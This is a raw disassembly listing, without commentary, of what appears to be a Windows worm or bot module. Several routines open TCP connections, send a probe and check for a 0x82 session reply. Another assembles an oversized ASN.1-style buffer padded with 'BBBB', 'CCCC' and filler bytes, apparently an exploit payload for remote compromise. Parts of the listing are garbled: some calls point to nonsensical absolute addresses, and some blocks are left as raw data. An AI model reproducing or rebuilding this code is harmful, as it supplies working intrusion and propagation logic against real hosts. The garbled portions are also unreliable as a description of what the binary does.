loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		call	near ptr 2690800h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		nop
		call	near ptr 26F0630h

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B8C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	22839C1h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 8EE890FCh, 0FF022642h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 2838D0E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 226419Dh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8E8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C40
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FC4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C4C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FB8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FB4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FA4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431F9F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CDC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D0C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C54
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D18
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
